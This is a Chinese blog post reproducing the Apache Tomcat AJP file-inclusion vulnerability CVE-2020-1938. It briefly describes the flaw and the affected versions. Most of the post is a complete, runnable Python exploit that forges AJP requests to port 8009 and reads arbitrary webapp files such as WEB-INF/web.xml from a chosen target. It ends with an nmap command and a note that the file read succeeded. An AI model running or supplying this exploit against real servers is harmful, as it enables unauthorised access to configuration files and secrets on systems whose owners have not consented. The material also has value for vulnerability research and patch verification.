首页 > 其他分享 >Apache Tomcat文件包含漏洞(CVE-2020-1938)复现

Apache Tomcat文件包含漏洞(CVE-2020-1938)复现

时间:2022-10-14 13:56:54浏览次数:52  
标签:Tomcat stream res self headers 2020 1938 data pack

漏洞描述:

Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。

Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

受影响版本:

lTomcat 6 (已不受维护)

lTomcat 7 Version < 7.0.100

lTomcat 8 Version < 8.5.51

lTomcat 9 Version < 9.0.31

 

执行poc or exp :

  1 #!/usr/bin/env python
  2 # CNVD-2020-10487  Tomcat-Ajp lfi
  3 # by ydhcui
  4 import struct
  5 from io import StringIO
  6 
  7 
  8 # Some references:
  9 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
 10 def pack_string(s):
 11     if s is None:
 12         return struct.pack(">h", -1)
 13     l = len(s)
 14     return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
 15 
 16 
 17 def unpack(stream, fmt):
 18     size = struct.calcsize(fmt)
 19     buf = stream.read(size)
 20     return struct.unpack(fmt, buf)
 21 
 22 
 23 def unpack_string(stream):
 24     size, = unpack(stream, ">h")
 25     if size == -1:  # null string
 26         return None
 27     res, = unpack(stream, "%ds" % size)
 28     stream.read(1)  # \0
 29     return res
 30 
 31 
 32 class NotFoundException(Exception):
 33     pass
 34 
 35 
 36 class AjpBodyRequest(object):
 37     # server == web server, container == servlet
 38     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 39     MAX_REQUEST_LENGTH = 8186
 40 
 41     def __init__(self, data_stream, data_len, data_direction=None):
 42         self.data_stream = data_stream
 43         self.data_len = data_len
 44         self.data_direction = data_direction
 45 
 46     def serialize(self):
 47         data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
 48         if len(data) == 0:
 49             return struct.pack(">bbH", 0x12, 0x34, 0x00)
 50         else:
 51             res = struct.pack(">H", len(data))
 52             res += data
 53         if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
 54             header = struct.pack(">bbH", 0x12, 0x34, len(res))
 55         else:
 56             header = struct.pack(">bbH", 0x41, 0x42, len(res))
 57         return header + res
 58 
 59     def send_and_receive(self, socket, stream):
 60         while True:
 61             data = self.serialize()
 62             socket.send(data)
 63             r = AjpResponse.receive(stream)
 64             while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
 65                 r = AjpResponse.receive(stream)
 66 
 67             if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
 68                 break
 69 
 70 
 71 class AjpForwardRequest(object):
 72     _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
 73         28)
 74     REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
 75                        'TRACE': TRACE}
 76     # server == web server, container == servlet
 77     SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 78     COMMON_HEADERS = ["SC_REQ_ACCEPT",
 79                       "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
 80                       "SC_REQ_AUTHORIZATION",
 81                       "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
 82                       "SC_REQ_COOKIE2",
 83                       "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 84                       ]
 85     ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
 86                   "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 87 
 88     def __init__(self, data_direction=None):
 89         self.headers = None
 90         self.prefix_code = 0x02
 91         self.method = None
 92         self.protocol = None
 93         self.req_uri = None
 94         self.remote_addr = None
 95         self.remote_host = None
 96         self.server_name = None
 97         self.server_port = None
 98         self.is_ssl = None
 99         self.num_headers = None
100         self.request_headers = None
101         self.attributes = None
102         self.data_direction = data_direction
103 
104     def pack_headers(self):
105         self.num_headers = len(self.request_headers)
106         res = ""
107         res = struct.pack(">h", self.num_headers)
108         for h_name in self.request_headers:
109             if h_name.startswith("SC_REQ"):
110                 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
111                 res += struct.pack("BB", 0xA0, code)
112             else:
113                 res += pack_string(h_name)
114 
115             res += pack_string(self.request_headers[h_name])
116         return res
117 
118     def pack_attributes(self):
119         res = b""
120         for attr in self.attributes:
121             a_name = attr['name']
122             code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
123             res += struct.pack("b", code)
124             if a_name == "req_attribute":
125                 aa_name, a_value = attr['value']
126                 res += pack_string(aa_name)
127                 res += pack_string(a_value)
128             else:
129                 res += pack_string(attr['value'])
130         res += struct.pack("B", 0xFF)
131         return res
132 
133     def serialize(self):
134         res = ""
135         res = struct.pack("bb", self.prefix_code, self.method)
136         res += pack_string(self.protocol)
137         res += pack_string(self.req_uri)
138         res += pack_string(self.remote_addr)
139         res += pack_string(self.remote_host)
140         res += pack_string(self.server_name)
141         res += struct.pack(">h", self.server_port)
142         res += struct.pack("?", self.is_ssl)
143         res += self.pack_headers()
144         res += self.pack_attributes()
145         if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
146             header = struct.pack(">bbh", 0x12, 0x34, len(res))
147         else:
148             header = struct.pack(">bbh", 0x41, 0x42, len(res))
149         return header + res
150 
151     def parse(self, raw_packet):
152         stream = StringIO(raw_packet)
153         self.magic1, self.magic2, data_len = unpack(stream, "bbH")
154         self.prefix_code, self.method = unpack(stream, "bb")
155         self.protocol = unpack_string(stream)
156         self.req_uri = unpack_string(stream)
157         self.remote_addr = unpack_string(stream)
158         self.remote_host = unpack_string(stream)
159         self.server_name = unpack_string(stream)
160         self.server_port = unpack(stream, ">h")
161         self.is_ssl = unpack(stream, "?")
162         self.num_headers, = unpack(stream, ">H")
163         self.request_headers = {}
164         for i in range(self.num_headers):
165             code, = unpack(stream, ">H")
166             if code > 0xA000:
167                 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
168             else:
169                 h_name = unpack(stream, "%ds" % code)
170                 stream.read(1)  # \0
171             h_value = unpack_string(stream)
172             self.request_headers[h_name] = h_value
173 
174     def send_and_receive(self, socket, stream, save_cookies=False):
175         res = []
176         i = socket.sendall(self.serialize())
177         if self.method == AjpForwardRequest.POST:
178             return res
179 
180         r = AjpResponse.receive(stream)
181         assert r.prefix_code == AjpResponse.SEND_HEADERS
182         res.append(r)
183         if save_cookies and 'Set-Cookie' in r.response_headers:
184             self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
185 
186         # read body chunks and end response packets
187         while True:
188             r = AjpResponse.receive(stream)
189             res.append(r)
190             if r.prefix_code == AjpResponse.END_RESPONSE:
191                 break
192             elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
193                 continue
194             else:
195                 raise NotImplementedError
196                 break
197 
198         return res
199 
200 
201 class AjpResponse(object):
202     _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
203     COMMON_SEND_HEADERS = [
204         "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
205         "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
206     ]
207 
208     def parse(self, stream):
209         # read headers
210         self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
211 
212         if self.prefix_code == AjpResponse.SEND_HEADERS:
213             self.parse_send_headers(stream)
214         elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
215             self.parse_send_body_chunk(stream)
216         elif self.prefix_code == AjpResponse.END_RESPONSE:
217             self.parse_end_response(stream)
218         elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
219             self.parse_get_body_chunk(stream)
220         else:
221             raise NotImplementedError
222 
223     def parse_send_headers(self, stream):
224         self.http_status_code, = unpack(stream, ">H")
225         self.http_status_msg = unpack_string(stream)
226         self.num_headers, = unpack(stream, ">H")
227         self.response_headers = {}
228         for i in range(self.num_headers):
229             code, = unpack(stream, ">H")
230             if code <= 0xA000:  # custom header
231                 h_name, = unpack(stream, "%ds" % code)
232                 stream.read(1)  # \0
233                 h_value = unpack_string(stream)
234             else:
235                 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
236                 h_value = unpack_string(stream)
237             self.response_headers[h_name] = h_value
238 
239     def parse_send_body_chunk(self, stream):
240         self.data_length, = unpack(stream, ">H")
241         self.data = stream.read(self.data_length + 1)
242 
243     def parse_end_response(self, stream):
244         self.reuse, = unpack(stream, "b")
245 
246     def parse_get_body_chunk(self, stream):
247         rlen, = unpack(stream, ">H")
248         return rlen
249 
250     @staticmethod
251     def receive(stream):
252         r = AjpResponse()
253         r.parse(stream)
254         return r
255 
256 
257 import socket
258 
259 
260 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
261     fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
262     fr.method = method
263     fr.protocol = "HTTP/1.1"
264     fr.req_uri = req_uri
265     fr.remote_addr = target_host
266     fr.remote_host = None
267     fr.server_name = target_host
268     fr.server_port = 80
269     fr.request_headers = {
270         'SC_REQ_ACCEPT': 'text/html',
271         'SC_REQ_CONNECTION': 'keep-alive',
272         'SC_REQ_CONTENT_LENGTH': '0',
273         'SC_REQ_HOST': target_host,
274         'SC_REQ_USER_AGENT': 'Mozilla',
275         'Accept-Encoding': 'gzip, deflate, sdch',
276         'Accept-Language': 'en-US,en;q=0.5',
277         'Upgrade-Insecure-Requests': '1',
278         'Cache-Control': 'max-age=0'
279     }
280     fr.is_ssl = False
281     fr.attributes = []
282     return fr
283 
284 
285 class Tomcat(object):
286     def __init__(self, target_host, target_port):
287         self.target_host = target_host
288         self.target_port = target_port
289 
290         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
291         self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
292         self.socket.connect((target_host, target_port))
293         self.stream = self.socket.makefile("rb")
294 
295     def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
296         self.req_uri = req_uri
297         self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
298                                                            method=AjpForwardRequest.REQUEST_METHODS.get(method))
299         print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
300         if user is not None and password is not None:
301             self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
302                         "%s:%s" % (user, password)).encode('base64').replace('\n', '')
303         for h in headers:
304             self.forward_request.request_headers[h] = headers[h]
305         for a in attributes:
306             self.forward_request.attributes.append(a)
307         responses = self.forward_request.send_and_receive(self.socket, self.stream)
308         if len(responses) == 0:
309             return None, None
310         snd_hdrs_res = responses[0]
311         data_res = responses[1:-1]
312         if len(data_res) == 0:
313             print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
314         return snd_hdrs_res, data_res
315 
316 
317 '''
318 javax.servlet.include.request_uri
319 javax.servlet.include.path_info
320 javax.servlet.include.servlet_path
321 '''
322 
323 import argparse
324 
325 parser = argparse.ArgumentParser()
326 parser.add_argument("target", type=str, help="Hostname or IP to attack")
327 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
328 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
329 args = parser.parse_args()
330 t = Tomcat(args.target, args.port)
331 _, data = t.perform_request('/asdf', attributes=[
332     {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
333     {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
334     {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
335 ])
336 print('----------------------------')
337 # print("".join([d.data.decode('utf_8') for d in data]))
338 print("".join([d.data.decode('gbk') for d in data]))
339 # print(''.join(data))

nmap命令nmap -sV -p 8080 --script ssl-enum-ciphers xx.xx.xx.xx

执行poc脚本,成功获取到ROOT下的文件内容

 

标签:Tomcat,stream,res,self,headers,2020,1938,data,pack
From: https://www.cnblogs.com/worldbugMsg/p/16791384.html

相关文章